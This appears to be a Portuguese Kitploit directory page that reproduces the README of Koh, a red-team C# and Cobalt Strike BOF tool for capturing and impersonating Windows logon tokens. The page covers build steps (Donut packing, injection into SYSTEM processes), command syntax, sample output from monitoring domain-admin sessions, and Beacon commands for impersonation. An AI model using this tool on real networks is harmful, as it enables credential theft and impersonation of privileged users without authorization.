Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Koh — Captura tokens de sessão de logon do Windows através de vazamento de tokens para permitir reutilização de credenciais e impersonação, com integração BOF do Cobalt Strike para roubo de tokens pós-exploração. | Kitploit
Ferramentas/GitHubGitHub/ghostpack/koh
Pós-ExploraçãoAutenticaçãoRed Teaming
GitHubghostpack/koh

Koh

Captura tokens de sessão de logon do Windows através de vazamento de tokens para permitir reutilização de credenciais e impersonação, com integração BOF do Cobalt Strike para roubo de tokens pós-exploração.

Ver Repositório
5226718há 4 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Koh


Koh é um conjunto de ferramentas em C# e Beacon Object File (BOF) que permite a captura de material de credenciais de usuário por meio de vazamento proposital de tokens/sessões de logon.

Parte do código foi inspirada pelo projeto Internal-Monologue (sem licença) de Elad Shamir, bem como pelo KB180548. Para entender por que isso é possível e a abordagem do Koh, veja a seção Technical Background deste README.

Para uma explicação mais detalhada da motivação por trás do Koh e sua abordagem, veja o post Koh: The Token Stealer.

@harmj0y é o autor principal desta base de código. @tifkin_ ajudou com a abordagem, implementação do BOF e alguns mecanismos de token.

Koh está licenciado sob a licença BSD 3-Clause.

Tabela de Conteúdo

  • Koh
    • Tabela de Conteúdo
    • Servidor Koh
      • Compilação
      • Uso
      • Exemplo - Listando Sessões de Logon
      • Exemplo - Monitorando Sessões de Logon (com filtragem de SID de grupo)
    • Cliente Koh
      • Uso
      • Filtragem de SID de Grupo
      • Exemplo - Captura
    • Contexto Técnico
      • Por Que Isso É Possível
      • Abordagem
        • Abordagens Possíveis
        • Nossa Abordagem
        • Vantagens/Desvantagens Versus Extração Tradicional de Credenciais
          • Vantagens
          • Desvantagens
    • The Inline Shenanigans Bug
    • IOCs
    • Mitigações
    • TODO

Servidor Koh

O "servidor" do Koh captura tokens e usa pipes nomeados para controle/comunicação. Isso pode ser encapsulado no Donut e injetado em qualquer processo de alta integridade SYSTEM (veja The Inline Shenanigans Bug).

Compilação

Não planejamos liberar binários para o Koh, então você terá que compilar por conta própria :)

O Koh foi compilado contra .NET 4.7.2 e é compatível com o Visual Studio 2019 Community Edition. Basta abrir o arquivo .sln do projeto, escolher "Release" e compilar. O assembly Koh.exe e o PIC Koh.bin construído com Donut serão gerados no diretório principal. O blob Donut é compatível com x86/x64 e é construído com as seguintes opções usando a v0.9.3 do Donut em ./Misc/Donut.exe:``` [ Instance type : Embedded [ Entropy : Random names + Encryption [ Compressed : Xpress Huffman [ File type : .NET EXE [ Parameters : capture [ Target CPU : x86+amd64 [ AMSI/WDLP : abort

A licença do Donut é BSD 3-clause.

### Uso
   
   `Koh.exe Koh.exe <list | monitor | capture> [GroupSID... GroupSID2 ...]`

* **list** - lista sessões de logon (não rede)
* **monitor** - monitora por novas/únicas sessões de logon (não rede)
* **capture** - captura um token único por SID encontrado para novas sessões de logon (não rede)

Os SIDs de grupo também podem ser fornecidos na linha de comando, fazendo com que o Koh monitore/capture apenas sessões de logon que contenham os SIDs de grupo especificados em suas informações de token negociado.

### Exemplo - Listando Sessões de Logon```
C:\Temp>Koh.exe list

 __  ___   ______    __    __
|  |/  /  /  __  \  |  |  |  |
|  '  /  |  |  |  | |  |__|  |
|    <   |  |  |  | |   __   |
|  .  \  |  `--'  | |  |  |  |
|__|\__\  \______/  |__|  |__|
                     v1.0.0


  [*] Command: list

  [*] Elevated to SYSTEM


  [*] New Logon Session - 6/22/2022 2:51:46 PM
      UserName    : THESHIRE\testuser
      LUID        : 207990196
      LogonType   : Interactive
      AuthPackage : Kerberos
      User SID    : S-1-5-21-937929760-3187473010-80948926-1119
      Origin LUID : 1677733 (0x1999a5)

  [*] New Logon Session - 6/22/2022 2:51:46 PM
      UserName    : THESHIRE\DA
      LUID        : 81492692
      LogonType   : Interactive
      AuthPackage : Negotiate
      User SID    : S-1-5-21-937929760-3187473010-80948926-1145
      Origin LUID : 1677765 (0x1999c5)

  [*] New Logon Session - 6/22/2022 2:51:46 PM
      UserName    : THESHIRE\DA
      LUID        : 81492608
      LogonType   : Interactive
      AuthPackage : Kerberos
      User SID    : S-1-5-21-937929760-3187473010-80948926-1145
      Origin LUID : 1677765 (0x1999c5)

  [*] New Logon Session - 6/22/2022 2:51:46 PM
      UserName    : THESHIRE\harmj0y
      LUID        : 1677733
      LogonType   : Interactive
      AuthPackage : Kerberos
      User SID    : S-1-5-21-937929760-3187473010-80948926-1104
      Origin LUID : 999 (0x3e7)
    

Exemplo - Monitoramento de Sessões de Logon (com filtragem de group SID)

Apenas lista resultados que possuem o group SID de administradores do domínio (-512) em suas informações de token:``` C:\Temp>Koh.exe monitor S-1-5-21-937929760-3187473010-80948926-512


| |/ / / __ \ | | | | | ' / | | | | | || | | < | | | | | __ | | . \ | `--' | | | | | ||__\ __/ || || v1.0.0

[*] Command: monitor

[*] Starting server with named pipe: imposecost

[*] Elevated to SYSTEM

[*] Targeting group SIDs: S-1-5-21-937929760-3187473010-80948926-512

[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\DA LUID : 81492692 LogonType : Interactive AuthPackage : Negotiate User SID : S-1-5-21-937929760-3187473010-80948926-1145 Origin LUID : 1677765 (0x1999c5)

[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\DA LUID : 81492608 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1145 Origin LUID : 1677765 (0x1999c5)

[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\harmj0y LUID : 1677733 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1104 Origin LUID : 999 (0x3e7)

## Cliente Koh

O cliente utilizável atual é um Beacon Object File em `.\Clients\BOF\`. Carregue o script agressor `.\Clients\BOF\KohClient.cna` em seu cliente Cobalt Strike para habilitar o controle BOF do servidor Koh. O único requisito para usar tokens capturados é **SeImpersonatePrivilege**. O pipe nomeado de comunicação tem uma DACL "Everyone", mas usa uma senha compartilhada básica (super segura).

Para compilar do zero no Linux usando Mingw, veja o script `.\Clients\BOF\build.sh`. O único requisito (pelo menos no Debian) deve ser `apt-get install gcc-mingw-w64`

### Uso```
beacon> help koh
koh list              - lists captured tokens
koh groups LUID       - lists the group SIDs for a captured token
koh filter list       - lists the group SIDs used for capture filtering
koh filter add SID    - adds a group SID for capture filtering
koh filter remove SID - removes a group SID from capture filtering
koh filter reset      - resets the SID group capture filter
koh impersonate LUID  - impersonates the captured token with the give LUID
koh release all       - releases all captured tokens
koh release LUID      - releases the captured token for the specified LUID
koh exit              - signals the Koh server to exit

Filtragem de SID de Grupo

Baixar ferramenta